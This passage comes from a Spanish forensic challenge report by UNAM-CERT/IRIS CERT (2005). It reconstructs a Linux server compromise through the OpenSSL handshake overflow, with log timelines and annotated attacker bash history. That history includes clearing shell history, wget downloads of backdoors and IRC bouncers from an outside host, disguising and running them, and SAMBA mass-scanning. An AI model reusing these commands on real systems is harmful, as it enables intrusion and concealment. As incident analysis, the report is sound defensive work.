unset HISTFILE (Esta linea <strong>de</strong>sactiva el guardado <strong>de</strong>l historial)<br />
unset HISTSAVE (Esta linea <strong>de</strong>sactiva el guardado <strong>de</strong>l historial)<br />
rm -rf /bash.history Elimina el historial <strong>de</strong> comandos<br />
rm -rf /root/.bash_history Elimina el historial <strong>de</strong> comandos, asi<br />
que probablemente aquí fue don<strong>de</strong> se eliminaron los logs <strong>de</strong> el<br />
equipo.<br />
id Verifica el usuario nuevamente. Parece que algo salio mal.<br />
su Intenta convertirse en “root”. Aun que todo párese indicar que ya<br />
“root” en ese momento<br />
cd crk Otra vez intenta instalar<br />
dir<br />
./install eliteaz 9933 Esta vez instala en el puerto 9933<br />
ssh -l weed localhost Intenta conectarse con el usuario weed<br />
ls <strong>–</strong>sa Lista el contenido<br />
dir Lista el contenido nuevamente. Es evi<strong>de</strong>nte que algo no va bien.<br />
passwd weed Cambia el password y reintenta la conexión.<br />
ssh -l weed localhost<br />
eliteazazel<br />
Finalmente opta por eliminar el usuario weed<br />
user<strong>de</strong>l weed<br />
/usr/sbin/user<strong>de</strong>l weed<br />
Nuevamente lista el contenido y esta vez elimina un archivo own y<br />
sc/* pue<strong>de</strong> haber sido otro intento <strong>de</strong> instalar el mismo troyano<br />
<strong>de</strong>scrito anteriormente.<br />
ls =-sa<br />
dir<br />
rm -rf own<br />
cd sc<br />
dir<br />
cd ..<br />
rm -rf sc*<br />
Se cambia al directorio /var/log crea un directorio daemon, <strong>de</strong>scarga<br />
el archivo “pico”, lo oculta llamándolo “ “ y finalmente lo ejecuta.<br />
Este archivo es el que habíamos encontrado anteriormente y al cual<br />
llamamos archivo misterioso, como ya vimos se trata <strong>de</strong> un backdoor.<br />
cd /var/log<br />
dir<br />
mkdir daemon<br />
wget www.zetu.as.ro/pico<br />
chmod +x pico<br />
mv pico " "<br />
export PATH="."<br />
" "<br />
Mata el proceso zbind. “zbind” es una utilería generalmente<br />
contenida en “za.tgz” junto a los archivos za, y zero (Aquí se<br />
13
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
explica que anteriormente halla borrado todo lo referente a za*.),<br />
existe poca información al respecto, sin embargo parece tratarse <strong>de</strong><br />
un backdoor que abre un puerto en la maquina para recibir conexiones<br />
“telnet” en el puerto 4000 y obtener una shell como “root”. Es <strong>de</strong><br />
notar que no haya evi<strong>de</strong>ncia <strong>de</strong> que haya bajado dicha utilería, ni<br />
evi<strong>de</strong>ncia <strong>de</strong> su ejecución. Por tanto es probable que dichas acciones<br />
hayan sido tomadas como otro usuario <strong>de</strong>l sistema y a través <strong>de</strong> ellas<br />
haya obtenido el acceso como root (Elevación <strong>de</strong> privilegios).<br />
/usr//sbin/killall -9 zbind<br />
/usr/sbin/killall -9 zbind<br />
/usr/bin/killall -9 zbind<br />
bash<br />
Bien hasta aquí sabemos que el sistema fue comprometido el día<br />
29 <strong>de</strong> Enero entre las 15:00 y las 15:30, también tenemos un<br />
historial <strong>de</strong> lo que realizo el atacante al menos hasta las 15:27,<br />
Continuemos con nuestra revisión, a las 15:25 se modificaron una<br />
gran cantidad <strong>de</strong> archivos en /etc, probablemente se <strong>de</strong>ba a la<br />
instalación <strong>de</strong> un rootkit:<br />
29 ene 15:25 /etc/dhcpc ..<br />
29 ene 15:25 /etc/<strong>de</strong>fault ..<br />
29 ene 15:25 /etc/skel ..<br />
29 ene 15:25 /etc/iproute2 ..<br />
29 ene 15:25 /etc/make<strong>de</strong>v.d ..<br />
29 ene 15:25 /etc/hotplug ..<br />
29 ene 15:25 /etc/security ..<br />
29 ene 15:25 /etc/openldap ..<br />
29 ene 15:25 /etc/alternatives<br />
…<br />
A las 15:36 se instala w00t, un sniffer con escáner <strong>de</strong><br />
puertos. Que como veremos más a<strong>de</strong>lante también proporciona una<br />
herramienta para realizar un exploit a servidores <strong>de</strong> samba<br />
vulnerables:<br />
29 ene 15:36 /var/tmp w00t<br />
29 ene 15:36 /var/tmp/w00t 200.207.pscan.139<br />
29 ene 15:36 /var/tmp/w00t .<br />
Y finalmente un huellas <strong>de</strong> un servidor Proxy <strong>de</strong> IRC el psybnc:<br />
29 ene 15:46 /var/tmp/psybnc/psybnc.pid<br />
29 ene 15:46 /var/tmp/psybnc/log/psybnc.log<br />
29 ene 15:48 /var/tmp/psybnc/log<br />
29 ene 15:48 /var/tmp/psybnc/log/USER1.TRL<br />
29 ene 15:48 /var/tmp/psybnc/log .<br />
29 ene 15:49 /var/tmp/psybnc motd<br />
14
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
29 ene 15:49 /var/tmp/psybnc/motd/USER1.MOTD<br />
29 ene 15:49 /var/tmp/psybnc/motd .<br />
29 ene 17:53 /var/tmp/psybnc/psybnc.conf.old<br />
29 ene 17:53 /var/tmp/psybnc/psybnc.conf<br />
Con eso termina la actividad <strong>de</strong>l atacante el día 29. En este<br />
punto po<strong>de</strong>mos ya generar un perfil <strong>de</strong>l atacante, si usamos la<br />
clasificación que comúnmente se usa para <strong>de</strong>nominar a los Hackers<br />
según sus habilida<strong>de</strong>s y conocimientos, y asumimos tres niveles<br />
siendo Elite Hackers el nivel mas alto, Hackers el nivel medio y<br />
Script Kiddie's el nivel mas bajo. Es evi<strong>de</strong>nte que nuestro atacante<br />
se ubicaría en el nivel mas bajo “Script Kiddie's”. Las razones para<br />
ubicarlo ahí son:<br />
a) El atacante utilizo herramientas y utilerías disponibles en<br />
la red. Mientras que los Hacker's, y los Elite Hacker's prefieren<br />
utilizar herramientas escritas por ellos, los Script Kiddie's<br />
utilizan generalmente herramientas que encuentran en la red y medio<br />
conocen su funcionamiento. Las razones <strong>de</strong> un Hacker para preferir<br />
una herramienta escrita por el son varias, una herramienta que se<br />
encuentre en la red podrá ser rastreada (Como lo hicimos aquí),<br />
probablemente <strong>de</strong>je una firma que pueda ser <strong>de</strong>tectada, el escribir<br />
sus propias herramientas da mas realce al nombre <strong>de</strong>l Hacker (Lo<br />
ubica como Elite), etc;<br />
b) En varias ocasiones el atacante parece no saber que hacer.<br />
Mas que un atacante con plan <strong>de</strong> activida<strong>de</strong>s bien realizado (Es <strong>de</strong>cir<br />
un atacante que haya planeado vulnerar intencional y específicamente<br />
este equipo), da la impresión <strong>de</strong> que llego ahí por mera casualidad ,<br />
y , una vez <strong>de</strong>ntro trato <strong>de</strong> hacer cuando pudo, no seria una sorpresa<br />
que hubiese usado un escáner <strong>de</strong> vulnerabilida<strong>de</strong>s probando varias<br />
re<strong>de</strong>s hasta que dio con nuestra maquina.<br />
c)Las consecuencias legales <strong>de</strong> un ataque informático pue<strong>de</strong>n<br />
ser varias. El muy dudoso que algún Hacker <strong>de</strong> Elite se arriesgara a<br />
enfrentar un proceso Judicial por “chatear” en el IRC.<br />
Dicho esto prosigamos con el análisis, dado que ya sabemos que<br />
el ataque se produjo el día 29 <strong>de</strong> Enero, repetiremos el ejercicio <strong>de</strong><br />
análisis <strong>de</strong> fechas para los días 30 y 31 a fin <strong>de</strong> recabar más<br />
información los comandos a utilizar son:<br />
#ls -lRsa /mnt/escena/ | grep 'Jan 30' ><br />
$HOME/archivos<strong>de</strong>l30.txt<br />
#ls -lRsa /mnt/escena/ | grep 'Jan 31' ><br />
$HOME/archivos<strong>de</strong>l31.txt<br />
15
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
Los resultados <strong>de</strong> estos los analizamos mas a<strong>de</strong>lante, para<br />
seguir un or<strong>de</strong>n veamos ahora lo que obtuvimos al parsear los<br />
archivos hda3.dd y hda6.dd con nuestro script. Nuevamente hda6.dd<br />
(swap) nos queda mal, no pudimos obtener nada <strong>de</strong> ahí, pero <strong>de</strong><br />
hda3.dd(/var), encontramos algo muy interesante, los <strong>de</strong>l Apache Web<br />
Server, dichos log's son fuerte indicativo acerca <strong>de</strong> la forma en que<br />
el atacante llego a la victima, intercalo comentarios en rojo:<br />
[Sat Jan 29 12:11:30 2005] [error] [client 24.211.139.31] File<br />
does not exist: /var/www/html/pk/service (aquí busca el archivo<br />
pk/service que forma parte <strong>de</strong> una vulnerabilidad es una muestra <strong>de</strong><br />
que el servidor estaba bajo escaneos <strong>de</strong> vulnerabilida<strong>de</strong>s)<br />
[Sat Jan 29 12:11:50 2005] [error] [client 24.211.139.31] File<br />
does not exist: /var/www/html/pk/service(Lo mismo que el anterior)<br />
[Sat Jan 29 14:57:44 2005] [error] [client 64.202.43.190]<br />
client sent HTTP/1.1 request without hostname (see RFC2616<br />
section 14.23): /(Aquí el atacante envía una consulta <strong>de</strong><br />
HTTP/1.1 mal formado, note que el log indica la falta <strong>de</strong>l tag Host)<br />
[Sat Jan 29 14:57:45 2005] [error] [client 64.202.43.190]<br />
client sent HTTP/1.1 request without hostname (see RFC2616<br />
section 14.23): /(Lo mismo que el anterior con un segundo <strong>de</strong><br />
diferencia, otra indicación <strong>de</strong> un escáner <strong>de</strong> vulnerabilida<strong>de</strong>s (Tuvo<br />
que ser automatizado, nadie teclea tan rápido))<br />
[Sat Jan 29 14:58:51 2005] [error] mod_ssl: SSL handshake<br />
failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSS<br />
L library error follows)(Se produce un crash en mod_ssl, note<br />
como el error hace referencia al handshake)<br />
[Sat Jan 29 14:58:51 2005] [error] OpenSSL:<br />
error:1406908F:lib(20):func(105):reason(143)(OpenSSL falla)<br />
[Sat Jan 29 15:00:01 2005] [error] mod_ssl: SSL handshake<br />
failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSS<br />
L library error follows) (Se repiten las líneas anteriores,<br />
rcor<strong>de</strong>mos que al atacante mando dos o mas consultas <strong>de</strong> HTTP en menos<br />
<strong>de</strong> un segundo, note la hora <strong>de</strong>l ultimo error 15:14, apenas unos<br />
minutos antes <strong>de</strong> que comenzara la actividad anormal en el equipo)<br />
[Sat Jan 29 15:00:01 2005] [error] OpenSSL:<br />
error:1406908F:lib(20):func(105):reason(143)<br />
[Sat Jan 29 15:10:49 2005] [error] mod_ssl: SSL handshake<br />
failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSS<br />
L library error follows)<br />
[Sat Jan 29 15:10:49 2005] [error] OpenSSL:<br />
error:1406908F:lib(20):func(105):reason(143)<br />
16
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
[Sat Jan 29 15:14:57 2005] [error] mod_ssl: SSL handshake<br />
failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSS<br />
L library error follows)<br />
[Sat Jan 29 18:19:17 2005] [error] System: No existe el<br />
fichero o el directorio (errno: 2)(Despues <strong>de</strong> varias fallas el<br />
Apache + mod_ssl parece no volver a recuperarse)<br />
[Sat Jan 29 18:19:17 2005] [error] mod_ssl: Child could not<br />
open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.723 (Sys<br />
tem error follows)<br />
[Sat Jan 29 18:19:17 2005] [error] System: No existe el<br />
fichero o el directorio (errno: 2)<br />
[Sat Jan 29 18:19:18 2005] [error] mod_ssl: Child could not<br />
open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.723 (Sys<br />
tem error follows)<br />
[Sat Jan 29 18:19:18 2005] [error] System: No existe el<br />
fichero o el directorio (errno: 2)<br />
[Sat Jan 29 18:19:18 2005] [error] mod_ssl: Child could not<br />
open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.723 (Sys<br />
tem error follows)<br />
[Sat Jan 29 18:19:18 2005] [error] System: No existe el<br />
fichero o el directorio (errno: 2)<br />
[Sat Jan 29 18:19:18 2005] [error] mod_ssl: Child could not<br />
open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.723 (Sys<br />
tem error follows)<br />
Se recuperan a<strong>de</strong>más unas líneas <strong>de</strong>l psyBNC, como ya sabemos<br />
que el atacante instalo este servidor Proxy <strong>de</strong> IRC no exponemos esas<br />
líneas, sin embargo como la mayoría <strong>de</strong>l material aquí expuesto se<br />
adjunta la evi<strong>de</strong>ncia en los archivos <strong>de</strong> apoyo enviados junto a este<br />
reporte. Volviendo a lo que nos ocupa, es evi<strong>de</strong>nte que la falla en<br />
el Apache se relaciona <strong>de</strong> algún modo con las activida<strong>de</strong>s <strong>de</strong>l<br />
atacante, tomamos nota <strong>de</strong> la IP 64.202.43.190 que correspon<strong>de</strong> según<br />
www.arin.net a un proveedor <strong>de</strong> Hosting en Reno Nevada EEUU llamado<br />
Altaway, y ejecutamos nuestro script esta vez usando como palabra<br />
clave “Jan “, esto lo hacemos recordando que el sistema inicio el 20<br />
<strong>de</strong> Enero asi que esperamos encontrar una linea “[notice]” <strong>de</strong>l log <strong>de</strong><br />
Apache que nos ayu<strong>de</strong> a i<strong>de</strong>ntificar la versión <strong>de</strong>l mismo. Encontramos<br />
una linea <strong>de</strong>l 23 <strong>de</strong> enero que nos indica a<strong>de</strong>más la versión <strong>de</strong><br />
OpenSSL usada:<br />
[Sun Jan 23 04:02:01 2005] [notice] Apache/1.3.23 (Unix)<br />
(Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PH<br />
P/4.1.2 mod_perl/1.26 configured -- resuming normal operations<br />
a<strong>de</strong>más en el archivo “/etc/httpd/conf/httpd.conf” encontramos<br />
evi<strong>de</strong>ncia <strong>de</strong> que el servicio <strong>de</strong> SSL estaba activo:<br />
17
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
<br />
Listen 80<br />
Listen 443<br />
<br />
Con esta información nos dirigimos a la red, en busca <strong>de</strong><br />
vulnerabilida<strong>de</strong>s conocidas para la combinación Apache/1.3.23 (Unix)<br />
(Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b Y encontramos que dicha<br />
combinación es vulnerable <strong>de</strong>bido a un fallo que permite obtener una<br />
shell remota al realizar un HandShake <strong>de</strong> ssl enviando un paquete<br />
especialmente malformado, dicha vulnerabilidad se encuentra<br />
documenta en http://www.cert.org/advisories/CA-2002-23.html ,<br />
encontramos que existen varios exploit's para esta vulnerabilidad e<br />
incluso un gusano llamado “slapper-worm”. Sin embargo las líneas <strong>de</strong><br />
log que obtuvimos <strong>de</strong>l log <strong>de</strong> Apache coinci<strong>de</strong>n particularmente con<br />
las firmas <strong>de</strong>l exploit openssl-too-open o alguna <strong>de</strong> sus variantes,<br />
este exploit escrito por “Solar Eclipse” se aprovecha <strong>de</strong> la<br />
vulnerabilidad existente en la versión <strong>de</strong> OpenSSL/0.9.6 que permite<br />
mediante el envió paquetes especialmente formados provocar un Buffer<br />
Overflow en el OpenSSL Handshake al enviar una KEY_ARG especialmente<br />
larga, y asi obtener una shell con el usuario que corre el Apache<br />
Web Server regularmente “nobody” o como en este caso “apache”, para<br />
po<strong>de</strong>r realizar el exploit es necesario enviar dos solicitu<strong>de</strong>s <strong>de</strong><br />
SSL, la primera provocara el buffer overflow y la segunda llevar una<br />
carga especial <strong>de</strong> código “shell” (Esto explicaría el hecho <strong>de</strong> las<br />
solicitu<strong>de</strong>s hechas al Apache en lapsos <strong>de</strong> un segundo). Un punto<br />
interesante <strong>de</strong>l exploit, es que la actividad realizada por el<br />
usuario “nobody” o “apache” no queda registrada.<br />
Una vez que el atacante ha obtenido acceso al equipo pue<strong>de</strong><br />
modificar las paginas Web, o <strong>de</strong>scargar/subir herramientas para<br />
obtener privilegios <strong>de</strong> root. Este exploit regularmente incluye otra<br />
herramienta openssl-scanner a la que se le pue<strong>de</strong>n suministrar varias<br />
IP's para automatizar la tarea (Este pudiera ser el escáner <strong>de</strong><br />
vulnerabilida<strong>de</strong>s que habíamos supuesto uso).<br />
No es la intención <strong>de</strong> este documento centrarse en la<br />
<strong>de</strong>scripción <strong>de</strong> dicho exploit asi que solo se <strong>de</strong>scribe a gran<strong>de</strong>s<br />
18
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
rasgos su funcionamiento, sin embargo se recomienda ampliamente leer<br />
el documento llamado “Traveling Through the OpenSSL Door” escrito<br />
por Keven Murphy para SANS Institute que <strong>de</strong>scribe <strong>de</strong> forma bastante<br />
<strong>de</strong>tallada el exploit y la vulnerabilidad, dicho documento pue<strong>de</strong> ser<br />
hallado en<br />
http://www.giac.org/certified_professionals/practicals/gcih/0432.php<br />
. Adicionalmente hemos encontrado que este exploit se ha<br />
empaquetado con otras herramientas para realizar escaneos masivos <strong>de</strong><br />
host's, en búsqueda <strong>de</strong> maquinas vulnerables (Un ejemplo es el<br />
paquete atd.tgz, cuya <strong>de</strong>scripción se encuentra en<br />
http://www.lurhq.com/atd.html )<br />
Siguiendo las líneas <strong>de</strong> log que coinci<strong>de</strong>n con las firmas <strong>de</strong>l<br />
exploit antes mencionado encontramos que la última quedo registrada<br />
a las 15:14:57:<br />
[Sat Jan 29 15:14:57 2005] [error] mod_ssl: SSL handshake<br />
failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSS<br />
L library error follows)<br />
Apenas dos minutos antes <strong>de</strong> comenzara la actividad anormal en<br />
el equipo. Llegado este punto recapitulamos brevemente nuestros<br />
hallazgos. Suponemos que el atacante estaba realizando un escaneo<br />
buscando especialmente explotar la vulnerabilidad <strong>de</strong> Apache/ OpenSSL<br />
0.9.6b cuando se topo con nuestro Host, usando el exploit opensslto-open<br />
vulnero exitosamente el equipo y obtuvo una shell bajo el<br />
usuario “apache” (Que era el usuario que corría el Web Server).<br />
Descargo e instalo la serie <strong>de</strong> utilerías contenidas en za.tgz. y<br />
ejecuto el backdoor zbind que le permitió abrir una shell en el<br />
puerto 4000 con probables permisos <strong>de</strong> “root” o ejecuto alguna <strong>de</strong> las<br />
otras herramientas para obtener los permisos <strong>de</strong>l superusuario.<br />
A partir <strong>de</strong> ahí <strong>de</strong>scargo y ejecuto una serie <strong>de</strong> herramientas<br />
para mantener el acceso remoto(De las cuales una estaba infectada<br />
con una variante <strong>de</strong>l virus RST.b), dio <strong>de</strong> alta un usuario “weed” con<br />
privilegios <strong>de</strong> superusuario y finamente instalo un IRC Proxy Server.<br />
Para corroborar nuestra teoría <strong>de</strong> que el sistema esta a<strong>de</strong>más<br />
infectado con un virus realizamos una prueba ejecutando el comando<br />
strings < gawk | more (Elegimos este archivo por ser <strong>de</strong> los primeros<br />
en ser modificados). Y ahí encontramos la firma <strong>de</strong>l virus:<br />
/<strong>de</strong>v/hdx<br />
SQRVW<br />
ZY[=<br />
ZY[=<br />
_^ZY[<br />
SQRVW<br />
19
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
Y[_^ZY[<br />
ZY[=<br />
[SQRVW<br />
tBSQR<br />
ZY[=<br />
ZY[=<br />
[X_^ZY[<br />
DOM`<br />
/bin/sh<br />
xxxxyyyyzzzz<br />
Y[XXXXXX<br />
GET /~telcom69/gov.php HTTP/1.0<br />
Despues <strong>de</strong> revisar varios archivos que aparecen modificados a<br />
partir <strong>de</strong>l 29 encontramos que el virus se instalo en prácticamente<br />
la mayoría <strong>de</strong> los ejecutables <strong>de</strong> uso común <strong>de</strong>l sistema, algunos <strong>de</strong><br />
los archivos infectados fueron netstat, mt, mktemp, mknod, mkdir,<br />
mail, ls, ln, hostname, <strong>de</strong>, df, dd, cpio, chown y chgrp.<br />
Un ejercicio adicional consistió en buscar <strong>de</strong>ntro <strong>de</strong> hda3.dd<br />
evi<strong>de</strong>ncia <strong>de</strong>l exploit usado para obtener acceso, esto <strong>de</strong>bido a que<br />
probablemente y por el perfil <strong>de</strong>l atacante (Que anteriormente<br />
supusimos), es factible que vaya a intentar usar nuestro host como<br />
plataforma para lanzar nuevos ataques, basados en el documento <strong>de</strong><br />
Keven Murphy buscamos por la dirección <strong>de</strong> correo <strong>de</strong>l autor (Solar<br />
Eclipse) la linea ejecutada fue la siguiente:<br />
#./parser.pl "solareclipse" /media/cdrecor<strong>de</strong>r/hda6.dd<br />
solar.txt<br />
Y encontramos una linea <strong>de</strong>l exploit:<br />
* by Solar Eclipse <br />
Resta poco por hacer ahora que ya tenemos la tesis sobre el<br />
ataque, finalmente analicemos la actividad <strong>de</strong>l atacante para los<br />
días siguientes (30 y 31 <strong>de</strong> Enero). Para el día 30 solo encontramos<br />
actividad a las 4 AM, y esta fue genera probablemente por el cron <strong>de</strong><br />
la maquina. Para el día 31 tenemos actividad en psyBNC a las 3:12:<br />
31 ene 3:12 /var/tmp/psybnc/USER1.LOG<br />
31 ene 3:12 /var/tmp/psybnc/.<br />
31 ene 3:12 /var/tmp/psybnc/scripts ..<br />
31 ene 3:12 /var/tmp/psybnc/help ..<br />
31 ene 3:12 /var/tmp/psybnc/menuconf ..<br />
31 ene 3:12 /var/tmp/psybnc/tools ..<br />
31 ene 3:12 /var/tmp/psybnc/motd ..<br />
20
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
31 ene 3:12 /var/tmp/psybnc/log ..<br />
31 ene 3:12 /var/tmp psybnc<br />
El archivo /var/tmp/psybnc/log/psybnc.log nos muestra que el<br />
IRC Proxy Server arranco con fallas:<br />
Sat Jan 29 15:46:42 :Listener created :0.0.0.0 port 17900<br />
Sat Jan 29 15:46:42 :Error Creating Socket<br />
Sat Jan 29 15:46:42 :Can't create listening sock on host *<br />
port 17900<br />
Sat Jan 29 15:46:42 :Can't set a suitable Host for DCC Chats<br />
or Files. Please <strong>de</strong><br />
fine at least one Listener for an IP.<br />
Sat Jan 29 15:46:42 :psyBNC2.2.1-cBtITLdDMSNp started (PID<br />
:24907)<br />
A las 4:02 encontramos otra serie <strong>de</strong> archivos modificados,<br />
entre ellos el rpmpkgs, ahora si po<strong>de</strong>mos <strong>de</strong>sechar totalmente la i<strong>de</strong>a<br />
<strong>de</strong> realizar un análisis <strong>de</strong> verificación <strong>de</strong> firmas.<br />
31 ene 4:02 /var/lib/logrotate.status<br />
31 ene 4:02 /var/lib/rpm<br />
31 ene 4:02 /var/lib/rpm .<br />
31 ene 4:02 /var/log rpmpkgs<br />
31 ene 4:02 /var/log .<br />
31 ene 4:02 /var/spool/anacron/cron.daily<br />
31 ene 4:02 /var/log<br />
31 ene 4:12 /var/lib/slocate<br />
31 ene 4:12 /var/lib/slocate/slocate.db<br />
31 ene 4:12 /var/lib/slocate .<br />
A las 11:54 aparecen dos nuevas herramientas w00t que trae una<br />
serie <strong>de</strong> exploits y backdoors, y selena que trae el escáner <strong>de</strong><br />
puertos pscan2 y unas utilerías para escanear vulnerabilida<strong>de</strong>s,<br />
este paquete también estaba infectado con el virus RST.b o alguna <strong>de</strong><br />
sus variantes:<br />
/bin/sh<br />
xxxxyyyyzzzz<br />
21
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
Y[XXXXXX<br />
GET /~telcom69/gov.php HTTP/1.0<br />
31 ene 11:54 /var/tmp/w00t ..<br />
31 ene 11:54 /var/tmp/psybnc ..<br />
31 ene 11:54 /var/tmp/selena ..<br />
31 ene 11:54 /var/tmp/selena/ssvuln<br />
31 ene 11:54 /var tmp<br />
31 ene 11:54 /var/tmp .<br />
Y por consecuencia se da la infección <strong>de</strong> más programas <strong>de</strong>ntro<br />
<strong>de</strong> la maquina:<br />
31 ene 12:03 /bin/setserial<br />
31 ene 12:03 /bin/ping<br />
31 ene 12:03 /bin/netstat<br />
31 ene 12:03 /bin/mt<br />
31 ene 12:03 /bin/mktemp<br />
31 ene 12:03 /bin/mknod<br />
31 ene 12:03 /bin/mkdir<br />
31 ene 12:03 /bin/mail<br />
31 ene 12:03 /bin/ls<br />
31 ene 12:03 /bin/ln<br />
31 ene 12:03 /bin/hostname<br />
31 ene 12:03 /bin/ed<br />
31 ene 12:03 /bin/df<br />
31 ene 12:03 /bin/dd<br />
31 ene 12:03 /bin/cpio<br />
31 ene 12:03 /bin/chown<br />
31 ene 12:03 /bin/chgrp<br />
Mas actividad <strong>de</strong> selena, y nuevamente un archivo<br />
.bash_history.<br />
31 ene 12:03 /var/tmp/selena/sslex<br />
31 ene 12:03 /var/tmp/selena/217.172.ssl.out<br />
31 ene 12:03 /var/tmp/selena/ssx<br />
31 ene 12:03 /var/tmp/selena/sslx<br />
31 ene 12:03 /var/tmp/selena/ssl<br />
31 ene 12:03 /var/tmp .bash_history<br />
22
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
Correos en cola, para root:<br />
31 ene 13:31 /var/spool/mqueue/dfj0VJV0A25551<br />
31 ene 13:31 /tmp/logwatch.XXLltDIY ..<br />
31 ene 13:31 /tmp/makewhatisnuAB1j ..<br />
31 ene 13:31 /tmp/makewhatisLZwx4z ..<br />
31 ene 13:31 /tmp .<br />
31 ene 13:31 /tmp<br />
31 ene 14:59 /var/spool/mqueue/qfj0VJV0A25551<br />
31 ene 15:20 /var/spool/mail/root<br />
31 ene 15:20 /var/spool/mail .<br />
31 ene 15:20 /var/spool/mqueue .<br />
31 ene 15:20 /var/spool/mqueue<br />
31 ene 15:20 /var/spool/mail<br />
31 ene 15:20 /etc/mail/statistics<br />
Y finalmente la ejecución <strong>de</strong>l fichero /etc/mrtg:<br />
31 ene 15:25 /etc/mrtg mrtg.ok<br />
31 ene 15:25 /etc/mrtg .<br />
31 ene 15:25 /etc mrtg<br />
Analizaremos ahora la actividad en el último .bash_history que<br />
encontramos, anexo comentarios en rojo:<br />
w Verifica la i<strong>de</strong>ntidad <strong>de</strong>l usuario con el que se encuentra<br />
cd /var/tmp Se cambia al directorio /var/tmp y lista el<br />
contenido, note que nuevamente ejecuta ls -sa y dir, suponemos que<br />
se trata <strong>de</strong>l mismo atacante.<br />
ls -sa<br />
dir<br />
rm -rf /tmp/* Elimina el contenido <strong>de</strong> /tmp/ y se cambia al<br />
directorio /var/log<br />
cd /var/log<br />
dir<br />
exit Intenta abandonar el shell con el que se encontraba y<br />
verifica la i<strong>de</strong>ntidad <strong>de</strong>l usuario nuevamente.<br />
id<br />
Se cambia a /var/tmp y lista el contenido<br />
cd /var/tmp<br />
23
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
ls<br />
dir<br />
Descarga woot.tgz <strong>de</strong>l que anteriormente hablamos, lo<br />
<strong>de</strong>sempaqueta y ejecuta el asmb que es un escáner y exploit <strong>de</strong><br />
vulnerabilida<strong>de</strong>s <strong>de</strong> SAMBA para re<strong>de</strong>s clase B<br />
wget www.zetu.as.ro/woot.tgz<br />
tar xvfz woot.tgz<br />
cd w00t<br />
./asmb 200.207<br />
Se cambia a /<strong>de</strong>v/shm y <strong>de</strong>scarga psyz.tar.gz que es otro<br />
paquete <strong>de</strong>l psyBNC, como vimos anteriormente parece que tuvo<br />
problemas para arrancarlo.<br />
ls<br />
dir<br />
cd /<strong>de</strong>v/shm<br />
dir<br />
wget www.zetu.as.ro/psyz.tar.gz<br />
tar xzvf psyz.tar.gz<br />
rm -rf psyz.tar.gz<br />
Cambia <strong>de</strong> opinión y elimina el paquete que acaba <strong>de</strong> <strong>de</strong>scargar,<br />
mejor baja un archivo preconfigurado <strong>de</strong> psybnx, oculta el ejecutable<br />
como “ps ax” e inicia el servicio <strong>de</strong> psybnc<br />
mv psybnc local<br />
cd local<br />
rm -rf psybnc.conf*<br />
wget www.zetu.as.ro/psybnc/psybnc.conf<br />
mv psybnc "ps ax"<br />
export PATH="."<br />
"ps ax"<br />
Regresa a /var/tmp y elimina el anteriormente <strong>de</strong>scargado<br />
woot.tgz, nuevamente intenta instalar el psybnc.tgz<br />
cd var/tmp<br />
dir<br />
rm -rf woot.tgz<br />
dir<br />
wget www.zetu.as.ro/psybnc.tgz<br />
tar xvfz psybnc.tgz<br />
cd psybnc<br />
./psybnc<br />
w<br />
exit<br />
w<br />
Aquí finalmente <strong>de</strong>scarga selena.tgz y ejecuta assl.<br />
ps aux<br />
cd /var/tmp<br />
ls<br />
dir<br />
24
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
